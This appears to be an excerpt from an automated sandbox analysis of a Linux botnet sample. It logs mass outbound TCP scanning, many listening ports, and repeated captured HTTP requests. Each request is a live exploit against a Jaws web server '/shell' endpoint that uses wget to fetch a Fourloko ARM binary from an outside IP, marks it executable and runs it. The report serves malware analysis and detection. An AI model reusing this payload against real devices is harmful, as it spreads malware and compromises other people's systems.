Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.166.85.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 90.254.115.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.163.10.116:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.39.54.122:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.60.156.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.3.199.170:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 202.27.213.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.48.227.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.108.144.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 108.246.72.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.107.67.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.194.50.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.131.254.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.84.178.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.196.123.217:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.251.244.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.114.253.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.110.89.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.144.97.195:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.233.19.143:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 39.96.229.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.62.185.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.18.210.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 143.224.144.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 120.118.140.160:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 46.115.13.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.100.7.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.118.223.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 194.233.198.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.31.148.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.206.72.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 78.155.239.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.48.10.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 27.36.153.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.95.150.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.207.211.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 200.79.203.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.162.252.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.222.246.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 49.175.189.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 14.30.8.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.28.52.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 136.54.43.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 103.53.140.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.32.93.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 24.213.41.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.180.48.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.6.62.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.228.61.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 43.94.30.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 175.123.136.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 132.105.230.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.97.162.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.246.56.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.109.254.153:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.72.188.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.35.107.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.240.166.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.5.44.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.104.251.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 157.52.206.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.128.114.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 176.170.117.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 74.106.139.170:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.218.185.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.208.37.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.251.12.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 100.220.218.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.165.29.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 73.93.35.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.19.170.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.158.157.189:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.52.48.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.223.160.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.102.194.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 177.67.210.86:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.158.98.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 103.243.238.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 100.19.40.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.56.103.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.60.171.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.248.227.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 145.119.255.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 45.96.87.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.19.3.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.28.233.40:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.14.62.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.249.182.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.107.190.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.57.152.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 213.138.71.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.209.49.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.130.165.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.211.97.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.135.204.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.176.237.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.85.169.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.111.23.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.130.7.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 84.221.11.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.193.216.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.161.2.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.14.122.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.229.51.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.193.179.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 101.67.125.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.94.135.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.125.83.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.223.195.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.56.78.51:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.126.160.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.8.163.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.12.45.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.34.154.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.37.0.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.238.255.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.0.57.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.177.192.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.47.86.189:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 102.27.2.73:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.67.203.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.249.114.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.249.23.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 155.201.9.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.199.156.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 45.84.57.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 50.31.32.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.213.164.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 171.119.172.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 207.65.211.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.94.123.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 197.168.205.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.48.73.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 32.200.201.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 5.10.122.234:60001

Sample listens on a socket

Source: /tmp/nSg5RM0w0d (PID: 5278)	Socket: 127.0.0.1::43829	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::9000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8080	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8081	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::53413	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::52869	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::37215	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::81	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8089	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8088	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8083	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::443	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::4444	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::49152	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::40960	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::1024	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::1337	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::420	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::23	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::80	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::60001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::9000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8080	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8081	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::53413	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::52869	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::37215	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::81	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8089	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8088	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8083	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::443	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::4444	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::49152	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::40960	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::1024	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::1337	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::420	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5321)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5498)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5527)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 5850)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 5925)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 6033)	Socket: <unknown socket type>:unknown

Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36690
Source: unknown	Network traffic detected: HTTP traffic on port 36694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36692
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35442
Source: unknown	Network traffic detected: HTTP traffic on port 35442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36684 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 116.139.20.113
Source: unknown	TCP traffic detected without corresponding DNS query: 53.140.253.164
Source: unknown	TCP traffic detected without corresponding DNS query: 160.244.252.219
Source: unknown	TCP traffic detected without corresponding DNS query: 106.186.4.115
Source: unknown	TCP traffic detected without corresponding DNS query: 143.20.123.85
Source: unknown	TCP traffic detected without corresponding DNS query: 14.85.178.30
Source: unknown	TCP traffic detected without corresponding DNS query: 104.12.55.80
Source: unknown	TCP traffic detected without corresponding DNS query: 74.97.245.104
Source: unknown	TCP traffic detected without corresponding DNS query: 43.26.203.44
Source: unknown	TCP traffic detected without corresponding DNS query: 47.240.228.221
Source: unknown	TCP traffic detected without corresponding DNS query: 124.224.50.17
Source: unknown	TCP traffic detected without corresponding DNS query: 5.236.157.4
Source: unknown	TCP traffic detected without corresponding DNS query: 1.195.166.194
Source: unknown	TCP traffic detected without corresponding DNS query: 116.151.115.9
Source: unknown	TCP traffic detected without corresponding DNS query: 19.234.2.69
Source: unknown	TCP traffic detected without corresponding DNS query: 105.18.136.120
Source: unknown	TCP traffic detected without corresponding DNS query: 69.105.154.223
Source: unknown	TCP traffic detected without corresponding DNS query: 204.59.138.218
Source: unknown	TCP traffic detected without corresponding DNS query: 27.78.60.127
Source: unknown	TCP traffic detected without corresponding DNS query: 167.18.244.178
Source: unknown	TCP traffic detected without corresponding DNS query: 63.35.64.164
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.129.229
Source: unknown	TCP traffic detected without corresponding DNS query: 17.248.48.48
Source: unknown	TCP traffic detected without corresponding DNS query: 125.193.182.178
Source: unknown	TCP traffic detected without corresponding DNS query: 85.60.0.108
Source: unknown	TCP traffic detected without corresponding DNS query: 47.199.200.41
Source: unknown	TCP traffic detected without corresponding DNS query: 8.26.253.162
Source: unknown	TCP traffic detected without corresponding DNS query: 201.47.82.243
Source: unknown	TCP traffic detected without corresponding DNS query: 163.140.24.2
Source: unknown	TCP traffic detected without corresponding DNS query: 75.240.240.117
Source: unknown	TCP traffic detected without corresponding DNS query: 40.89.53.178
Source: unknown	TCP traffic detected without corresponding DNS query: 72.100.199.25
Source: unknown	TCP traffic detected without corresponding DNS query: 145.66.170.212
Source: unknown	TCP traffic detected without corresponding DNS query: 43.13.225.229
Source: unknown	TCP traffic detected without corresponding DNS query: 138.1.123.135
Source: unknown	TCP traffic detected without corresponding DNS query: 89.76.0.231
Source: unknown	TCP traffic detected without corresponding DNS query: 72.187.244.43
Source: unknown	TCP traffic detected without corresponding DNS query: 184.167.145.52
Source: unknown	TCP traffic detected without corresponding DNS query: 222.148.19.116
Source: unknown	TCP traffic detected without corresponding DNS query: 196.65.168.167
Source: unknown	TCP traffic detected without corresponding DNS query: 4.161.30.32
Source: unknown	TCP traffic detected without corresponding DNS query: 68.140.167.253
Source: unknown	TCP traffic detected without corresponding DNS query: 160.181.217.108
Source: unknown	TCP traffic detected without corresponding DNS query: 57.118.49.254
Source: unknown	TCP traffic detected without corresponding DNS query: 80.196.133.136
Source: unknown	TCP traffic detected without corresponding DNS query: 129.123.171.139
Source: unknown	TCP traffic detected without corresponding DNS query: 115.116.75.75
Source: unknown	TCP traffic detected without corresponding DNS query: 79.192.176.15
Source: unknown	TCP traffic detected without corresponding DNS query: 124.188.25.45
Source: unknown	TCP traffic detected without corresponding DNS query: 88.240.92.22

Source: syslog.284.dr

String found in binary or memory: https://www.rsyslog.com

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
